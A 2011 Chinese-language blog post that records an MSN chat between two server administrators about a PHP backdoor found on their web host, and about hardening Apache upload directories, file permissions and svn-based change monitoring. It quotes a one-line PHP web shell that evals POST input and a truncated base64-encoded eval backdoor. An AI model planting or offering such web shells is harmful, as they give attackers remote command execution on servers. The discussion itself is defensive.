Wednesday, February 16, 2011

Nagios 網路監控主機架設

Nagios 網路監控主機架設
http://phorum.study-area.org/index.php?topic=62156.0

Top 100 Network Security Tools
http://sectools.org/index.html

我想改架 icinga 以 Nagios base 的美化版..不過這套在 FreeBSD 必須自己手動裝~ ports tree 裡面沒有
http://www.icinga.org/
==========================================

STAR says:
123

DANNY says:
456

STAR says:
哈~ 你在啦~
不忙了?

DANNY says:
沒那摸忙,呵,在做啥

STAR says:
剛推薦 璉璉用 EditPlus3

DANNY says:
她原本用啥

STAR says:
UltraEdit

DANNY says:
哦! 我前幾天要用 find command 找最近幾天有被修改到的檔案

我用了

# find /www/ -mtime 3

結果不是這樣用!

要找三天內修改過的檔案,要用

find /www/ -mtime -3

( 3 前面多個 - )

而且 這樣還不管用:

# find /www

必需要這樣:

# find /www/

(有 trailing slash)

STAR says:
喔喔@@!

DANNY says:
特此 謹記 & 提醒

-3 // 三天內
+3 // 大於三天
3 // 剛好 "第三天前" 改得 (不是 一天前,不是兩天前)

然後可以加上 seconds, minutes, hours, days, weeks

好比

-3d (三天內,, default 是 day 啦)

STAR says:
正港你 有用什麼軟體做 主機狀態監控嗎?

DANNY says:
目前完全沒有耶 (這是我下一步要進行的了)

STAR says:
Nagios <-- 這個 我這兩天剛好在架

DANNY says:
會緊張是因為上個星期,整個 /www 被塞 後門

STAR says:
http://phorum.study-area.org/index.php?topic=62156.0
喔喔? 被丟 cmd 的後門?

<璉--------------------------------璉> says:
Nagios 這個不是MAX去台中演講的嗎!

STAR says:
YES
21日 台中場講的

DANNY says:
這個月底要先打網站開發完成,然後把主力都放在 主機管理 上

我要來把所有 /www 底下的目錄都設 root (只有 root 才可以改 file,再用 svn update 去定期更新 source codes)

STAR says:
你的後門應該是從 apache 透過 php 的檔案上傳功能被丟上的吧?
然後上傳檔案的那個資料夾又允許執行 執行檔

DANNY says:
不確定,還查不到

目前 好比 /www/upload (上傳目錄)

直接 探訪 http://domain/upload/test.php 是不會被執行耶

STAR says:
小築的主機之也被丟過後門 那隻支檔案是 XXX.php 然後內容只有
<?php eval($_POST[cmd]);?>

DANNY says:
我遇到的那隻,長這樣
http://gala4th.blogspot.com/2010/08/some-drupal-scripts-got-affected-today.html
然後用 base64 encode

eval(base64_decode('DQogIEBz........'))

STAR says:
嗯! 這也有
一樣的

DANNY says:
每天嚴密手動監控中,哈,但長久不是辦法
遇到的那隻 是個算還 滿 完整的 操作控制台 了

STAR says:
PhpSpy 2008
這個吧?
幾乎都是這個

DANNY says:
Top 100 Network Security Tools
http://sectools.org/index.html

(Nagios 也在其中喔)

STAR says:
我是直接從 apache 設定下手

DANNY says:
有寫文件參考嗎?
我是用 drupal 的檔案上傳的目錄有 .htaccess 也有設定

STAR says:
直接把上傳檔案的目錄設定
<Directory "/www/html/updata">
php_admin_flag engine off
Options -ExecCGI
AddType text/plain .html .htm .shtml .php
</Directory>

防止開放上傳目錄 .html.htm .shtml .php可執行
.htaccess 是設定怎樣?

DANNY says:
為何連 .html 也要擋 ?

STAR says:
我連 html htm shtml 全檔
防止你的updata 目錄被丟惡意 html or javascript
就算被丟上來 這些檔案也完全無效

DANNY says:
# cat .htaccess
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
Options None
Options +FollowSymLinks

STAR says:
你只有設這樣沒用吧?

DANNY says:
drupal 有個專門的 security team 在 觀注 這方面 XD

STAR says:
可執行的檔案依然會跑

DANNY says:
<Directory "/home/www">
### Turn off php
php_admin_flag engine off

Options -ExecCGI

#AddType text/plain .html .htm .shtml .php

#Options Indexes FollowSymLinks

#Options +Indexes FollowSymLinks +ExecCGI
#AllowOverride AuthConfig FileInfo

#
# Controls who can get stuff from this server.
#
Order allow,deny
Allow from all
</Directory>

還沒空去學習這方面,呵

STAR says:
我設這樣下去 /www/html/updata 任何東西都只會變純文字的原始碼show出來
之前被丟後門的時候也是 搞了一個多月才找出問題

DANNY says:
我先做筆記,筆記抄得勤,都往 blog 擺,哈

STAR says:
我甚至也寫定時去掃 web 下的 code 有沒有沒植入
一被植入馬上 MSN 通知~~

DANNY says:
我還不清楚這行

SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006

是做什麼用途的 (猜測可能有其它地方有更詳細的設定)

STAR says:
到最後設成 上傳目錄 無法執行任何 html htm shtm php 才杜絕 被丟後門 or 資料庫被插改東西
照文字看起來只是個 註解提示@@!

DANNY says:
那有把 所有 /www/* 設成

# chown -R root:www

# chmod -R 640

嗎? (我打算這樣搞)

STAR says:
那次還是 由 A站 打 B站的狀況.. 害我在 B站找了老半天找不到異常 code
我 VirtualHost 又各站個別有自己的 log
結果一直找 B 站打得 log 翻不到異常紀錄
但資料庫確實一直被植入 iframe

STAR says:
最後全部同一台機器上所有站的 code 全掃才找到後門在 A站~XD
所以有允許由 web 上傳檔案的目錄 是最危險的

DANNY says:
在 /www 後面要有 trailing slash!!! (如果那個目錄是 symbolic link 的話!!)

# find /www/ -type d -exec chown root:www {} \;
# find /www/ -type f -exec chown root:www {} \;

# find /www/ -type d -exec chmod 760 {} \;
# find /www/ -type f -exec chmod 640 {} \;

STAR says:
你這作法我也搞過@@!
只是讓人沒辦法透過 apache 去改你的code

DANNY says:
這個很 tricky ,如果這樣下指令:

# find /www -type f

會完全找不到東西! 記得要:

# find /www/ -type f

(因為我的 /www 是對應到 /usr/local/www/apache22/data,是 symbolic link 的,務必要有 trailing slash,之前害我除錯除半天)

STAR says:
但無法防止人家丟上來的後門
它的後門還是能跑

DANNY says:
可以啊!用 svn update 搭配的話

STAR says:
這麼麻煩@@?

DANNY says:
在 crontab 跑 svn up
不會呀, 線上主機 的 /www 也是 其中一個 "SVN client"

STAR says:
如我上所說~ 上傳目錄 讓他任何檔案無效化 到目前為止都還沒出事過

DANNY says:
然後 所有開發人員 儘管在他自己 本機 開發

開發完以後 svn commit 上去到 svn server

STAR says:
他有本事丟後門程式上來 就讓它丟了
反正他後門無效
Server 維護就變成要用MIS觀點

DANNY says:
也就是,所有開發人員 和 線上主機 都是 SVN Client

(因為我們有 北美、中國 的時差,所以設置每 5 分鐘 自動檢查一次,但這作法也蠻方便的啦 ,開發完以後就停掉 svn update,因為經常是 網站邊上線 邊新增加功能)

STAR says:
找洞 倒不如讓有洞也沒用

DANNY says:
我兩個都會進行!目錄也要來設置的盡可能絕對嚴格,太討厭了

STAR says:
網站邊上線 邊新增加功能 邊修bug 這很正常啊
有些洞可能不在 code 上面 而是 php or apache 上

DANNY says:
但老是要到主機 svn update 太浪費時間了,而且,只要在 svn control 的 目錄,下指令:

svn st

就可以知道說,有哪些檔案有被 更改到!

原則上,線上主機的 檔案 是不會 從 主機上直接修改的,如果有被修改,那可以立即判定說 有人動了手腳,有漏洞!

(一律只在 開發人員本機 改東西,再 commit)

STAR says:
但你這樣做他要是連你 .svn 下面一起做手腳 svn st 就失效了喔

DANNY says:
我現在是把

/www

跟 上傳目錄是完全分開在不同的路徑底下

"程式碼" 擺在

/usr/local/www/apache22/data (symbolic link /www )

上傳檔 擺在

/usr/local/www/upload_files

這樣一來 /www 就可以完全用 svn control 所有 source code

這樣 svn 指令:

svn status

就有 監控 參考的價值 (當然還要搭配其它的啦)

所以我才想把所有 /www 底下的 都設 root 權限囉,只有 root 可以修改

這樣,即使他透過 www 要做事情,也會因為 權限不足,無法修改檔案

然後把 crontab 裡面的 svn up 是用 root 去跑

我這樣提出我的做法/想法,也是交流一下看看 有沒有 考慮不週全的地方,歡迎挑戰,呵

STAR says:
你後門程式從哪被丟上來才是重點

DANNY says:
歸納一下幾個重點

[] 檔案目錄權限設嚴格,但又不影響 開發 (其它人修改檔案)

[] 讓上傳的檔案完全失效

[] 監控修改的檔案,包含修改日期和修改內容有無 骯髒的 code,有問題立即 mail

[] 補充?

STAR says:
權限鎖死 當然它不能改你已存在的檔案
但如果他還是能新增檔案 那可能就是問題了

DANNY says:
有機會是 程式碼 本身有問題 (不一定是上傳那),也或許是可以直接下系統指令新建 執行檔

所以最好連 "目錄" 權限一併 鎖死

STAR says:
有些知道你已經把檔案權限鎖死 但你還是可以讓他放惡意程式
這時候他會把你的站當惡意程式散播的跳板
而不是直接去打你的站

DANNY says:
連新的 file 都不能增加,再妥善 安排 設置 "需要被更動的目錄" (好比上傳 或 一些 動態的 圖檔 等資料 要定期 更新的)

STAR says:
你的 Doman Name 如果被檢測到有散播惡意程式的話會被 Google 這種 大咖列為 危險警告 網站

DANNY says:
對,我有遇過!塞了好幾個 html 檔,裡面是轉址到某網站
所以只能盡可能 全方面都擋,可能性太多 :P

STAR says:
所以上面我才連 html htm shtm 都設為不可執行@@
不過我現在想到 還漏了 .js 跟 .css

DANNY says:
嗯,我覺得我們這樣交流很好耶!很過癮,呵
<璉--------------------------------璉> says:
各位晚安了~

STAR says:
璉璉 晚安~~
快去睡吧~

DANNY says:
腦袋激盪一下

STAR says:
現在 .js 跟 .css 也可能被植入惡意程式

DANNY says:
我現有習慣 完全不直接到 主機上 修改任何程式碼,一律秀過 svn 改

STAR says:
喔@@!
還有更厲害的是 把圖檔植入惡意程式碼..
這要靠 apache 的一些防惡意圖檔的 模組過濾了!

STAR says:
今天 OSDC 有日本的講者 live demo 圖檔植入惡意code

STAR says:
那場很 high 幾乎所有程式語言都可以執行

DANNY (tu) 正港.沉 - 忍者無敵 says:


STAR says:
圖片中植入惡意code

G到的PDF文件

打造安全的Web Server Base on Apache+PHP+MySQL)
http://210.240.6.7/v7/edudata/file_down/497/20090818-130229__WebServer.pdf

STAR says:
這 PDF 裡面說到的 mod_security2 我有裝!

STAR says:
http://osdc.tw/2010/02/schedule_polyglot_programming.html

STAR says:
有人做的筆記 講到 mod_imagefight 防止圖片插入的攻擊法
http://infuture.pixnet.net/blog/post/25250802

STAR says:
這好像就是那位日本講者的簡報
http://wafful.org/mod_imagefight/ImageFight-LL2007.ppt

Polyglot Programming 算是比較高級的技術了!! 要是碰到這種可能也很難防

你怎麼會知道 圖檔裡有被插入惡意code!

No comments: